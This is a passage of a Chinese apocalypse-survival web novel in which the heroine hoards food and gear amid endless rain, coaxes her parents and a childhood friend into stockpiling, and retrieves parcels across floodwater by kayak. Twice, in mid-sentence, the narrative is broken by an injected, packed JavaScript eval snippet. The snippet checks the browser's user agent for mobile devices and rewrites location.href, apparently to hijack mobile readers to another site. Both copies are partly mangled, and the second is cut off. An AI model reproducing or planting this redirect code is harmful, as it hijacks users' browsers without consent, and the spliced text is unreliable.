擦干眼泪，退出机票订购界面，穆叶搜索起始地和目的地，果然动车票是可以买的。 穆叶喜出望外：“太好了，我现在就帮他俩买票。” - 凌晨一点二十四分，一辆高铁从兰多发车，开往梅港。 车上人不多，乘务员巡查一圈后打了个哈欠，来到休息室坐下。 列车驶过一片田野，路灯下，泡水的农田里全是倒下的农作物，家家户户都没有在亮灯的窗户，雨落在列车玻璃上，划出一道道水痕，外面世界的生机好像被这场连绵不绝的雨冲走了。 这种天气本来应该在家睡觉的…… 乘务员叹了口气，调好轮班的闹钟，扯过一旁的毯子盖住肩膀，靠着窗睡着了。 一段时间后，闹钟响起来，轮到她上岗了。 她拍拍脸让自己清醒，从桌上拿起保温杯走出休息室，到车厢连接处的饮水机那接水。 滚烫的热水注入杯内，和一半的冷水混在一起，冒出翻卷的白色水蒸汽。 忽然从脚下地板传来了奇怪的滞涩感，乘务员关了饮水机，目光看向车外。 下一秒，车身剧烈抖动，地板咯咯哒哒地震动起来，放在饮水机上的杯子滚落在地上，温水洒了一地，车厢里灯光闪烁，不多的几个乘客发出惊呼声。 尖锐又绵长的金属摩擦声充斥在每个人耳边，她感觉到整辆列车正以一种缓慢的速度向后缩。 随后她整个人被甩飞出去，背撞在墙上，疼痛从腰间蔓延到全身，脑袋里一片空白，一张口就是痛苦的呻吟声。 几十秒后，列车停了下来，洒在地上的水因为惯性，全部汇集到她这里，穿透衣服感受到凉意，男人女人的尖叫声求救声贯穿列车。 乘务员想到自己的身份，侧手撑着身体努力爬起来想去帮忙，脚踝却感觉到钻心的疼，根本无法站起来。 “咚咚咚”，由远及近跑来一个拿着手电的人，是她的同事。 他照了照倒在地上的她，说：“前面山体滑坡所以紧急制动了，你别动，就在这等着吧。” 说完，他接着往后面的车厢跑去，组织还能行动的同事救助安抚乘客。 …… “……今天凌晨3点37分，一趟由兰多开往梅港的高速列车，在行驶途中突遇山体滑坡灾害……司机果断处置，无人……调查时发现，车头距离塌方点不到一公里……” “凌晨六点二十分，一趟由原池开往西岭的动车组……在驶出林辉山区隧道时，遭遇山体落石撞击……已确认造成至少13人遇难，伤者人数……” “截至目前，极端寒潮天气造成的全国范围降雨，已导致多条铁路……山体滑坡和泥石流，多省份电力设施受损……” “村庄房屋被冲垮，数十人失联……多处农田被淹，此次灾害造成的直接经济损失高达……” 电视里正在播放早间新闻，周羽萍坐在沙发上，把白菜一片片掰开放在竹簸箕上，准备清洗烫熟后晒成菜干。 新闻放出了出现山体滑坡的具体铁路段，她停下了手里的动作，皱起眉来。 半小时后，穆叶顶着凌乱的头发下楼。 她才起床不久，上卫生间时刷手机，看见凌晨的两个铁路事故已经冲到了热搜第一条，引起了全网的震惊和恐慌。 穆叶不由担心爸妈的车能不能顺利从云山出发，刷了牙没洗脸就下楼了，感觉只有看着奶奶才能让她安心。 周羽萍让她坐着休息，自己去厨房弄早餐。 穆叶往沙发上一坐，点开热贴第一条往下看评论。 【1L：我靠，这几天感觉像活在另一个世界，从没见过连续下十多天雨的！】 【3L：那是你没见识，我老家就连续下过快一个月的雨。】 【8L：楼上说一个月的，那是天天下雨不是时时刻刻下雨吧？这俩能一样吗！】 【9L：前几个月还干旱呢，现在又到处下雨了，真是旱的旱死涝的涝死。】 【15L：本人IP在国外，我这里也下了快半个月雨了，但还好只是毛毛雨，本地人都挺淡定的。】 【22L：世界末日终于来了哈哈哈！毁灭重开吧！】 【30L：唯恐不乱的滚出去！知不知道抢食物都抢成啥样了，本来我们这受灾不严重的，现在买鸡蛋都要抢，一板鸡蛋从人堆里挤出来碎了三个，被偷两个，谁赔给我……】 【37L：问问囤物资那些人，就不怕吃不完用不完放坏啦？】 【42L：重金求购，江城龙结区北吉路谁家有多余吃的，我家这片一楼全淹了，飘上来的食物被二楼用网捞走了，根本不愿给我们分点，救援也还没来。】 【56L：我认真说句，这雨不知道啥时候是个头，为啥官方不发通知，让咱们自己准备物资呢？我和家里人讲，他们都不听我的啊。】 【62L：是呀，我也担心呢，医院里好多病人，我让我妈买点大米囤着少出门，她还说怕什么，真有啥国家会告诉我们准备的，现在新闻里都呼吁理智购买食物。】 【69L：啧啧，你们想啥呢。国家指定不能让咱们自己准备物资啊，真这么说了，普通人还能抢到物资嘛？那得多混乱啊。】 【73L：赞同69楼，真让自己准备，物资肯定全部到有钱有势的人手里了。反正看现在情况，买不买物资就是见仁见智吧。】 …… 帖子里，关于最近的极端天气争论了数百条，不只是国内，就连国外也是阴雨绵绵。 看着还是有不少人对异常天气有所警觉，穆叶打心底松了口气。 听见周羽萍喊吃饭，她坐到餐桌前，拿起煎好的加菜加蛋手抓饼送进嘴里，眼睛还在留在手机屏幕上。 “哎呦，好好吃饭，边看手机边吃饭会消化不好的！” 穆叶深吸了口气，点点头放下手机。 从云山到庆阳的动车最早一趟是九点半的，现在全国很多铁路上出现塌方，她既怕爸妈的车停运，又怕他们在路上遇见山体滑坡，总之就是食不下咽，坐立难安。 吃完早餐，她从冰箱保鲜层拿出10kg牛肉切条，拿出两桶油，以及白糖、辣椒面、花椒粉、孜然粉、白芝麻等调料，准备做冷吃牛肉干。 这些是昨天从屠宰厂买的。 牛肉一共买了200kg，还有100kg猪肉、60kg羊肉、10只鸡、10只鸭子、500个鸡蛋，还有不少鸡腿鸡翅鸡胸肉。 她买了两台六门商用冰箱，复制到商城一份备用，用来装这些新鲜肉，约莫可以全部储藏进去。 但随身空间里还有不少新鲜水果蔬菜要冰冻，所以她决定用腌制风干的方式保存一部分。 最后三天，除去拿加工食物和快递站物资，剩下的时间，她打算全部用来处理食材，做成熟食或是脱水保存好。 八点半，杨静芮打电话告诉穆叶她们到车站了。 穆叶正戴着口罩和手套，用锅铲翻拌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273791|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅里的牛肉干，让每一条牛肉充分裹上佐料。 油炸辣椒花椒的味道呛得她说不出话，挂了电话后，她设定了一个6小时后的闹钟，提醒自己要开车去动车站接爸妈。 接着是无尽的切牛肉炒牛肉干，周羽萍则在一旁切猪肉撒盐腌制，穿上麻绳挂起来。 九点五十分，杨静芮又打来电话。 穆叶知道他们上了车，高高兴兴接起电话，却听见杨静芮说他们在云山南站下车了。 “为什么？”穆叶懵了。 杨静芮拉着穆诚躲避在站台上跑步的人，也有些烦躁，“说是隆川站后面的隧道塌了，这趟车只到隆川，我和你爸看还没走远，就下车了。” 穆诚抢过手机：“小叶子，雨太大了，我和你妈先打车回去，有什么之后再说吧。” 他们匆忙挂了电话。 周羽萍看过来，不知道穆叶口罩下是什么表情。 她低头安静地待了会儿，接着抡起锅铲迅速拌完这锅牛肉干，铲进不锈钢盆里放凉。 她摘了手套和口罩，嘴唇紧抿着，坐在餐桌边看手机。 周羽萍担心，凑过去发现她在看高铁的路线图。 “奶奶你别着急，我还有办法，”穆叶举起手机，指着上面的一个点，看似镇静的说，“隆川站那条线塌方了，但铁路四通八达，可以中转嘛，再不行就找顺风车——” “——我觉得，”周羽萍打断她，“到处淹水，谁也保证不了路上不会发生新的滑坡，要是到了陌生城市路断了，过不来也回不去，不如让他们留在云山，好歹有房子可以住。” 周羽萍说：“你说过最开始……，那除了冷，也不会有太多危险，给他们买够保暖用品和吃的，先渡过前面几天，咱们再开车去接他们来不就好了。” 穆叶对上她询问的视线，犹豫地点点头：“是，但是……” 没有但是。 奶奶说得其实很有道理，现在到各个城市中转，潜在的危险其实比他们留在云山大多了。 她不该因为自己不安心，就让爸妈用生命来冒险的。 想清楚后，穆叶找到之前关注的生存博主，看了所有和低温环境生存相关的视频，制作了一张购物清单。 她对照清单，加购了足够一个房间使用的泡沫保温板和铝箔气泡膜，用来搭建密闭保温的空间，买了1500片暖宝宝、冻伤膏、极限温度最低的睡袋、10箱饮用水、应急蜡烛、羽绒服、羽绒被、冲锋衣、羊毛内胆的防寒靴、羊毛袜、电热毯、烤火器、压缩饼干、自热米饭、方便面、熟食鸡腿鸭腿…… 这些全都找的同城，或是邻市发货的卖家。 现在的天气情况，引得许多人自发大量囤货，物价在原本价格上翻了3-4倍，她还专门出了一笔加急的费用要求尽快送达。 穆叶庆幸她们把房卖了，这简直是最近做过最正确的选择了。 只是到填收货地址的时候，她就犯难了。 这些东西送快递站肯定不行，最好还是找个固定的地方自己去拿货。 穆叶把地址填在了隔壁小区，要求送货到地下停车场。 做完这些，她拨了穆诚的电话。 必须把买物资的事告诉他，让他注意去拿货。 视频电话响到最后才被接起来，镜头一阵晃动，看上去他们已经回到家了。 穆诚手指在镜头上捏了一下，才晃悠悠抬起来对着自己的脸。 穆叶：“爸，到家了吗，你们是这是在？” 穆诚扭过手机转了一圈，放满书的书架、清新的装修色调、坐在圆桌前择菜的两道人影…… 隐约听见一道熟悉的声音问：“不是说今早的车，又没走成啊？” 然后她妈妈回答：“别提了，到处下雨出事故，我和阿诚回来还想呢，我俩这么折腾是为什么。” 屏幕里又出现穆诚的大脸：“我们回来碰上了宋阿姨，她让我们来家里吃火锅，我们先去帮忙，车票就别买了，一会儿你妈给你打回来。” 镜头摇晃着继续往前走，穆叶听见对面继续说： “其实这个天气，你们也不方便过去啊，小叶子那么能干，肯定能照顾好阿姨的。” “叔叔阿姨坐，我给你们倒杯水。” “好，谢谢小白。之前看小叶子悄悄带我妈回去，我俩担心出了什么事，想亲自过去，现在看看，她把她奶奶照顾得挺好的，我们也就放心了。” “是啊，干脆等冬雨过去……” 手机被放在桌上，镜头对着天花板，一只手伸出来掐断了电话。 穆叶呼出口气。 不太妙，她直觉爸妈不会按她说的去做。 没多久，杨静芮就打了电话回来，不出穆叶所料，她果然提出等雨停了再来。 穆叶立刻同意了，但紧接着就说：“谢知白是不是在旁边，我想和他说话。” 顿时，所有人的目光聚集在旁边的年轻男人身上。 20. 第 19 章 谢知白穿着黑色卫衣，里面叠穿贴身的高领打底衫，拉链拉到顶，勾勒出清晰的下颌线。 他的头发长度适中，打理得很好，露出一部分额头，面容疏朗干净，鼻梁高挺，低垂的眼眸被浓密纤长的睫毛挡住，修长的手指耐心捡出不能吃的部分，整个人精致细腻，却不纤弱。 谢知白抬头看过来，满眼疑问。 杨静芮越看他越满意，拍掌笑道：“好好好，这孩子终于开窍了！” 宋简柔也跟着笑：“儿子快接电话吧，找你呢！” 吸了口气，谢知白无奈地笑笑，接过手机，走到阳台上和穆叶通话。 …… 谢知白从阳台回来时，四个爱操心和八卦的中年人还在继续刚刚的话题。 “他俩算得上青梅竹马吧，你忘了小时候那个黏糊劲啊，怎么会生疏……” “没错！我记得有段时间小叶子说他是学人精，她吃什么玩什么，没过两天看见谢知白跟着买，就生气不理他了。 回来我就问他干嘛学别人呢，你猜他怎么说？他说怕小叶子说起来他接不上话，所以才想要一样的东西。哎呀，这傻小子啊！” “哈哈哈哈哈，果然是我儿子。简柔，我年轻时候就是这么追你的吧！” 四个人八卦着笑成一团。 谢知白在心里叹了口气，深深认同了穆叶的想法：这些迟钝的中年人是真的很不靠谱。 他把手机还给杨静芮，同时说：“杨阿姨，麻烦把小叶子的联系方式给我吧。” 杨静芮惊喜地和丈夫对视，连声答应，“没问题，你加她好友，你俩要好好聊好好相处！” 谢知白笑笑，没说反驳的话，加上了穆叶的联系方式。 他回到自己的座位上，继续择菜，像是无意一样提起： “刚刚我开车过来，看见货车拉着面包方便面和矿泉水往西边去了，不知道是哪里调配过去的物资。” 他的公寓离爸妈家有5公里，回国后的这段时间，他每天都开车过来陪爸妈，前几天他妈住院，也是他每天去送饭。 穆诚哎了一声，“该不会是去隆川的吧？那边地势低，不像云山在半坡上，肯定淹水严重了。” 谢正澜摇头：“不只是隆川，西边好几个县都受灾了。” “爸妈，叔叔阿姨，我觉得我们有必要提前买点物资。”谢知白直接发表他的观点。 “最近多地受灾，各地都调配物资去赈灾了，包括云山，还有不少人在大量购买物资，超市里主食类商品已经处于断货状态。当然，不是说不该帮助别人，但必须优先满足我们的生存需求满足吧。” 穆诚：“你的意思是……” 谢知白点头：“说难听点，受灾不严重的地方留不住多少物资。这雨接着下，难保云山不会有需要救援那天，到那时候会有人给我们捐物资吗？” 宋简柔折断整根菜心，有些不知所措：“但是新闻讲不建议囤物资。” “这会儿可不能信什么新闻啊，”谢正澜觉得老婆实在是太单纯，“不让你买，是怕没有物资拿出来统筹救灾，云山要是淹水，周围城市只会更惨，没人能帮忙的，我觉得儿子的想法很实际。” 杨静芮也回过味来，点点头说：“小白说得对，咱们也不是要囤多少东西，米和油买上点放家里，自己也安心。” 囤物资的提议就这样得到了所有人的支持。 “那说好了，这几天我负责买两家人的食品和生活用品，你们四位就尽量别出门了。” 谢知白表情舒展开，喝水的间隙，拿出手机给穆叶发消息：任务完成。 对面回复：拜托你了。 - 收到谢知白的消息后，穆叶把给爸妈买的东西，又一模一样准备了一份给谢家。 把所有物流信息同步给了谢知白，检查一遍后，又补充购买了一些缺少的东西。 他俩通话时间没超过十分钟。 谢知白比她想象中敏锐太多了，她都没说到很严重的程度，只是提了一句“这样下去物资紧张”，他就联想到了更深层的问题。 这是她从知道倒计时后，第一次感觉和人沟通非常容易。 还得是同龄人呐。 做完这一切，穆叶接着去炒牛肉条。 炒了30公斤的牛肉后，时间就到了下午，她的手臂已经酸到抬不起来了。 她把五盆牛肉干搬进树屋，又把挂满肉条的晾衣架搬到小房间里风干，然后就出门拿货去了。 县城里已经出现大面积淹水的情况，她订货的一家包子铺门下，三层阶梯有一半泡在了水里。 穆叶也很有先见之明地穿了连体的防水背带裤，外面套着羽绒服。 老板指着案板上的包子山，说等穆叶拿完包子，他们就要关门放假了。 朱记饭庄也是一样的，整个店里地板上汪着一层水，用餐区早上就停止接待客人了。 店里所有人都穿着雨靴。 老板帮忙把冻好的饺子和饼搬到穆叶车上，然后把今天买多的食材分给员工后，就全店放假了。 穆叶随后又去了罐头厂和酱料厂。 拿完加工好的水果罐头、蔬菜罐头、水果酱、肉酱后，就开车去了庆阳快递转运中心。 昨天她去工业园的驿站取货时，才听驿站老板说因为下雨，从今天开始就关门休息了。 穆叶最后一次网购是在回到庆阳当天，到现在，没收到的部分只有少量到了快递站，另有一些在庆阳县快递转运中心，剩下的还在路上。 放转运中心里的货物，有后面补充的箭和箭头，还有钓鱼的饵料、工具等等，有必要去一趟。 - 黑色越野车开到城东，停在一处山坡上，转运中心则在对面山坡上。 已经是下午六点，天空被乌云一挡，彻底黑透了，转运中心的厂房顶上安了一排白灯，把卸货区停着红色货车的水泥地照得发白。 两三个男人坐在厂房外的破沙发上玩手机，嘴里叼着烟，一仰头，像是烟囱一样吐出白烟。 从他们身旁的入口看进去，连成片的快递堆在地上和传送带上，像一座座小山。 她的东西就在里面，但她过不去。 面前两个山坡中间的谷地，现在蓄满了雨水，还有细细的水流汇入这片“池塘”，在密密匝匝落满雨点的水面上，推出淡淡的波纹。 穆叶坐在车里，她在心里评估此刻的情况。 还在下雨，水面还算平静，且这批物资无法放弃。 或许……是皮划艇派上用场的时候了呢？ 她把车开到直线距离对岸最近的点，下车穿上雨衣，从后备箱翻出皮划艇的组成零件和其他配件，拿到空地上就开始给皮划艇组装、充气。 这确实不是件容易的事，即便有充气泵辅助，安装好所有配件后，她还是出了一身汗。 穆叶穿好救生衣，把推进器遥控和装在防水袋里的手机，放进随身背包背好，把皮划艇放在水中，拿着浆就坐了进去。 一开始水面很平静，她跪在中间的气垫上，强忍手臂酸痛，保持平衡用浆划了几下。 回头一看发现自己确实离开岸边一段距离了。 但再往前，到了水流阻力明显的区域，手动就变得艰难了起来。 试了两次发现自己在原地打转后，穆叶从包里拿出电动推进器的遥控器，怀着忐忑的心情打开开关。 没想到这个电动推进器比想象中好用很多，还可以调整前进角度和速度，很快她的船头就碰到了对岸的地面。 运转中心的人打伞站在岸边，帮她稳定住船，把她扶了下来。 他们早在皮划艇开到半路时，就发现了穆叶，实在是太过好奇，才一群人来这等。 穆叶向他们道谢，抖了抖身上淋湿的雨衣，把皮划艇一整个拽上岸来，倒扣靠在转运中心的栏杆上。 一个叼着烟，歪带帽子的中年男人问：“小妹妹，你这开个船来拿什么？新买的手机电脑游戏机？还是急等用的药？” 积水没涨到这么高前，是有几波人等不及配送，自己来拿快递。 穆叶扫视着眼前的众人。 有看着邋遢，卫生情况堪忧的中年男人，有穿着朴素的年轻人，有梳着光滑细小马尾，看着十分干练的中年妇女，有穿着制服，斜挎大手电的保安…… 她收回视线，说：“我来找我的快递。” 那个干练的中年女人查了她的身份证，问了收货地址后，把她带到康荣工业园片区的货架那里。 “去工业园的都在这了，你提供一下收货信息，我叫几个人帮你找。” 穆叶报上手机号和名字，那女人在入库系统上查了查，发现有接近40个快递，吓了一跳，连忙叫来三个人帮忙一起找，穆叶则被安排在旁边坐着等。 接近两小时，终于从几百上千件包裹里，翻到了穆叶的37个快递。 一一出库后，穆叶借了个板车把包裹们推到门口。 但是难题又来了，她要怎么把这堆东西运到对岸呢？ 帮忙找件的中年妇女过来看看，疯狂摇头：“不可能不可能，别开玩笑了，这么多东西你怎么拿得过去！” 穆叶搬起两个快递掂了掂，大概估算了一下37个快递的重量，得出了糟糕的结论。 她那艘不算小的皮划艇，想装下这些东西是有困难。 歪帽子男人过来出主意：“小件的把包装拆了放一起，不就轻松多了？” 穆叶也想过，但就算是小件物品，数量太多，合并放也没意义。 她把20盒箭头放在背包里，找中年妇女买了几大卷泡泡纸和宽胶带。 把小纸箱都缠在一起，变成6个大压缩包，又单独给每个大纸箱裹上泡泡纸和胶带做防水。 皮划艇的承重极限是300kg，这堆货里最重的当属5箱下饭咸菜和10箱白酒，其他还有些奶粉、咖啡豆、护肤乳液这些，也十分有重量。 白酒数量太多，纸箱占地又太大，即便承重没问题，体积也容纳不下，必须分两次搬。 穆叶皱着的眉头忽然舒展开了。 对呀，没人规定要一次运完的。 她把皮划艇放进水里，装入5箱下饭咸菜，然后坐进船里。 在推进器绝对的动力下，很快就到车头前方的上岸点。 将船头的绳子绑在车头防撞杠上固定，打开副驾驶门，把这批快递往里面塞。 五箱咸菜装进去后，右边视线完全被挡住了。 不过没事，穆叶捏着酸胀的手臂在心里想，只要离开人前，她就能把东西收进空间。 就这样往返了几次，最后还剩3个大压缩包。 穆叶的手已经酸到抬不起来了，在别人的帮助下，装好最后一船东西，道谢后，她彻底离开了转运中心。 灰色的充气皮划艇破开水面，穆叶捏了捏羽绒服被浸湿的袖口，想着等会儿拿件干的出来换。 抬眼却看见面前的压缩包，有一处泡泡纸没包严实的地方，一个细长的小纸箱滑出来了一大半。 这长度……好像是她买的箭。 穆叶不敢乱动，抬手试图把它轻轻戳进去，但是没用，只能在心底祈求它撑到岸边，别中途掉水里。 墨菲定律稳定发力。 行驶到一半时，那个小纸箱还是落入水中，在水里翻了个身又浮上来。 她停下推进器，倒回来一点后，用浆拨了两下，却反而把纸箱推远了。 穆叶：…… 这纸箱里至少装了200支碳箭，要是拿不回来，那可就损失惨重了。 穆叶撑着船底挪了下屁股，三个垒得高高的压缩包就跟着皮划艇一阵摇晃，她登时出了一身冷汗。 划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两条腿重得抬不起来，她只能把连体裤脱下。 湿透的衣服贴在身上，风一吹立马变得又冷又硬。 穆叶顾不得那么多，硬扛冷风，迅速把包裹搬到后备箱。 然后拿出块干净的大毛巾披上，掏出充气泵给皮划艇放气、收纳。 在对岸人的注视中，她穿着湿衣服上车，离开了这里。 车缓慢地行驶，空调暖风吹在她身上，身体从极冷反转为极热，滚烫的皮肤被湿衣服包裹，有种肿胀、难以呼吸的感觉。 穆叶抬手摸了摸麻木的脸，发现鼻涕不知道什么时候流下来了，连忙伸手抽来纸巾擦了鼻涕。 开出一大截，穆叶停在路边，深呼吸了几次，终于，长长地连打三个喷嚏。 “啊啾！啊啾！啊、啾！” 从镜子里看，她脸发白、嘴唇发紫、眼睛发红，这么下去肯定会感冒发烧。 穆叶别无选择，找到一片没监控的废弃拆迁房区域，下车把越野车收进空间，直接传送回树屋了。 - 入夜，雨下得更大了，后院的泥土地被雨点砸得稀烂，泛起黄白色的泡沫。 穆叶洗了澡出来，吹干头发，穿着厚厚的长到脚踝的毛绒居家服，坐在一楼沙发上烤电暖器。 桌面上，体温枪显示她的体温是38.1度。 “你啊你，为了那点东西至于吗？” 周羽萍抱怨她不爱惜身体，站在厨房里，搅动小奶锅中煮着的红糖姜汤。 穆叶瘪瘪嘴：“变成这样也不是我想的嘛，那些箭真的很重要，丢了都不知道去哪补。” “能有你身体重要吗？这可是接近零度的天气！” 周羽萍生气地抿着唇，把配好的退烧药和热水塞在她手里，“身体才是本钱，有几个人敢在这种天气去游泳的，你把自己当超人啊！” 穆叶心虚不敢回嘴，乖乖把药吃了。 看见奶奶搬起切好的莴笋条准备上楼，穆叶放下热水，走过去想帮忙。 “去去去，今晚用不上你，你就在这好好休息，”周羽萍一脸心烦地赶她走，“厨房里有姜汤，一会儿我来检查喝没喝。” 奶奶上楼了，穆叶把沙发上放着的洗好晾干的衣物折好，走进厨房，倒了一大碗姜汤出来。 她坐在餐桌上，一勺一勺喝姜汤，手机则在刷新闻。 对这场雨，她们都误解了，这其实是覆盖整个蓝星的雨。 包括低纬度地带，蓝星上所有地方都处于1-5度，不再降温。 海平面则不停上涨，很多人都提出疑问，这么多水到底是哪来的。 穆叶喝汤的动作停了下来。 她怎么没想到这个问题，最明显的异常不就是这些吗？ 但这些讨论和猜想，大多是环保组织和民众私下的发表的，声量不大，各国官方只是组织救灾，并没有寒潮天气之外的解释。 “轰隆隆……” 天上开始打雷，供电不稳定，家里的灯闪了闪。 穆叶进厨房喝完锅底最后的姜汤，把碗洗了扣在沥水架上。 她返回客厅拿起折好的衣服想送到楼上，忽然听见类似敲门的声音，和雷声混在一起。 “轰隆隆……咚咚……轰隆隆……咚……” 好像没人敲门，是雷声，她听错了。 穆叶摇摇头，转身上楼，脚落在台阶上时，她又听见了敲门声。 这次没有和雷声重合，是真的有人在敲门。 她放下东西，走过去打开门。 穆叶意外地看着来人，“你怎么来了，有事吗？” “对不起穆叶，我，我真的是没有办法了。” 21. 第 20 章 外面狂风暴雨，打不打伞也没区别。 陶诗琦浑身都被雨浇了，湿棉花全部跑进衣摆里。 她一发抖，棉服就颤颤巍巍拍着她的腿，连带伞上的水滴，飞落进玄关的白色地砖上。 她的脸色惨白，一股股雨水从盘在脑后的丸子头往衣领里流，身上的雨水又顺着指尖流出来，像是刚刚上岸的水鬼。 “对不起，我真的没办法了。” 一阵风吹来，冰凉的雨点落在穆叶脸上，让原本就因为发烧而滚烫的身体打了个颤。 穆叶侧身：“你要不先进来，外面雨大。” 屋里好温暖。 陶诗琦抬起腿，沾满黄泥、看不出原本颜色的运动鞋立刻流下一滩水。 她忙收回脚：“不，我就不进去了。我爷爷发烧了，家里没有退烧药，村里药店也都关门了。我，我实在是没办法了，才厚着脸皮来找你帮忙。” 最近雨天，她下班回来晚，很难买到新鲜蔬菜，所以昨天下午爷爷打伞去集市上买了点菜。 结果今天午后，爷爷就开始发起烧来，等她晚上回家，已经烧得说胡话了。 陶诗琦尝试过打车去医院，但天气恶劣，位置偏僻，等了半小时都没人接单，她只好打伞出门找药。 但是集市上所有药店都关着门，她没办法了，就想到村长家借药。 去村长家要先路过穆叶家。 她看见穆叶家大门敞开，犹豫了一下，最终选择进来求助她。 穆叶听陶诗琪讲述，脑海里浮现出那晚她在路边，被溅起的水浪淋湿的场景。 “只是发烧吗，有没有别的症状？” 据穆叶从网上看到的消息，淋过雨的人可能会出现头痛、发烧、咳嗽、呕吐、腹泻等症状。 陶诗琦皱眉想了想：“偶尔会咳嗽几声。” 穆叶点头，“那我给你一点退烧药和止咳药。虽然效果肯定不如去医院打针好，但是——” “——咣当。” 楼上忽然传来响声，像是什么东西倒在地上，陶诗琦循声抬头往上看。 穆叶心里一紧，既担心奶奶在楼上发生什么事，又担心陶诗琦察觉奶奶的存在。 她没解释声音的来源，只是说稍等一会儿，然后转身飞快跑上楼。 “没事吧，奶奶？”穆叶跑进卧室，小声询问。 周羽萍捡起空的不锈钢盆，“盆掉了，没事。” 穆叶松了口气，“对了奶奶，楼下来人了，你悄悄的别出声。” “是谁，来干嘛的？” “是陶诗琦，她爷爷发烧了，来借药的。” 周羽萍眨眨眼，恍然道：“这样啊，那给她吧，人家开回口不容易，邻里乡亲的帮帮忙。” 穆叶也是这么想的，冲进树屋，从餐桌上拿了铝皮小药箱就往楼下跑。 “呼……我看看。” 她把药箱往门口鞋柜上一放，当着陶诗琦的面数了起来。 “退烧药给你四颗，止咳药给你一板吧，我把说明书也给你，万一你记不住用量。” 她把说明书和药一起拿给了陶诗琦。 陶诗琪瞥见药箱里一堆熟悉的药盒，咬了咬下唇，问能不能再给点肠胃药。 穆叶心想多给少给也没区别，就同意了她的请求。 陶诗琦的伞已经湿透了，穆叶想起家里有把能撑两个人的大伞，提出先借给她，转身进去找。 陶诗琦等在门外，雨丝不断飘落在她头上、背上。 她的视线扫过敞开的药箱、堆在客厅茶几上的一箱泡椒牛肉方便面，以及三篮红透了、看着就香甜的草莓。 穆叶把伞拿了过来，陶诗琦接过。 “真的谢谢你，那我先走了，过几天我再来还伞。” - 最后一天来得如此之快。 穆叶早上一醒来，就看见虚拟面板上醒目的“倒计时1天（不足）”。 奶奶依然起得比她早，这会儿大概在楼下煮草莓糖水。 穆叶有些无所事事，翻了个身，把头埋进牛奶绒床单里。 昨天一整天，她奔波在外，把还在运输途中的物资补齐了。 最后的时刻，她不再像之前那么小心翼翼，而是以效率为主，在仅剩不多开着的店里大批量购买。 新购入的物资包括可乐、雪碧、薯片、辣条、冷冻炸鸡半成品、薯条半成品、芝士、披萨、成箱巧克力、不同口味的糖之类的高热量零食。 还有多种类多数量的杂粮，比如红黑绿黄豆、高粱米、薏仁米、糙米、玉米糁等，丰富了主食品种。 刚好和官方采购救灾的物资种类错开了，不然她根本不可能买到。 有个好消息是，她已经攒够了第一次升级需要的点数，但系统显示，要等重启开始，系统所有功能解锁，才能进行升级。 此外，她还收入了一台真空封口机和5000个真空保鲜袋，用来打包食物延长保质期。 晚上回家，她收走地下室里的两个货架，给六门冰箱腾出空间，刚好用完最后一个【通电插座】，还把电脑装进书房，试了试能否正常开机使用。 今天除了收拾树屋和处理新鲜食材，好像没有其他要做的了…… 穆叶的头发被床单带起静电，毛茸茸地飞在空中。 突然，她从床上弹射起来，拿起手机拨通妈妈的电话。 对面很快接了起来，他们正在吃面条，反问穆叶有没有吃早餐。 “马上就去吃了，妈，咱家的物资准备得怎么样？” 杨静芮嚼着青菜发出脆响，“你放心，有小白忙前忙后呢。我们两家的物资可不少，他就一个人搬上搬下，等过了这阵咱们得请他家吃饭。” “那就好。”穆叶过速的心跳放缓了点。 “小芮，我先去准备，你吃完把碗放着，等晚上回来我洗。”爸爸的声音从旁边传来。 穆叶心中敲响警钟，忙问：“妈，你们要干嘛去？” 杨静芮：“明年二月是六中建校四十周年，今天学校提前办庆祝活动，邀请老师们参加，晚上还要聚餐。我们这些离校的老师也有份哈哈哈。” 她语调很欢快。 学校的邀请是对她十年付出的认可，让她想起那段传道授业解惑的时光，带学生的成就感又涌了上来。 反观穆叶就着急上火了。 哪里又冒出来个聚餐，还非得是今天！ “怎么之前没听你说，我爸也去？天气不好，要不别去了！” “学校请的是教师全家，分两天参加活动，地点在原野烧烤园，宋阿姨家也是今天，但她儿子好像不去。” 杨静芮把空碗放进水槽，看了看窗外的天气，“今天天气好啊，我看这雨都快停了呢！” 穆叶脑袋嗡嗡地，起身在窗边踱步，“不是，那，你们就不能换明天去吗？” 杨静芮嗔怪道：“说什么胡话，人家都是安排好的，怎么能说改就改，那不乱套了吗？” “就不能不去吗？” 杨静芮提高声调：“诶，我发现你这孩子今天挺奇怪的……不和你说了，我给你爸找衣服去。” “不是，妈，天气变幻无常，你就不担心下暴雨引发混乱吗？”穆叶暗示道。 杨静芮：“我们吃过晚饭就回来了，简柔她们还有事。再说了，能有什么混乱？乱也乱不到我们头上，你把奶奶照顾好就行。” 固执的中年人真是固执地叫人胃疼。 穆叶捂着突突狂跳的心脏，她明白阻止是不可能了。 但往好处想，既然有重启倒计时，那是不是就代表倒计时结束前，并不会发生什么。 穆叶担心的重点转变为，如何确保爸妈在12点前回到家。 她丝毫不怀疑中年人聊八卦的能力。 这活动上都是好几年没见的老朋友，聊聊工作、生活、子女的情况，随随便便几个小时就没了。 所以最好能找人跟着他们，监视他们。 她心里想到一个人。 - 接到穆叶电话时，谢知白正坐在窗前，在雪白的画布上铺下一片蓝色。 他大学是美术专业，虽然后来做了私人画廊的策展人，但隔三差五还是会复习一下基本功。 点开外放，他问：“怎么了，小叶子？” 穆叶抿唇：“谢知白，宋阿姨和谢叔叔今天参加六中的周年活动，你去不去？” 谢知白的声音柔和又明朗，像是广播剧里的配音演员。 他思考了下说：“六中的建校周年活动吗？是问过，但我拒绝了，都是我妈同事，去了不就掉进相亲局里了吗。” 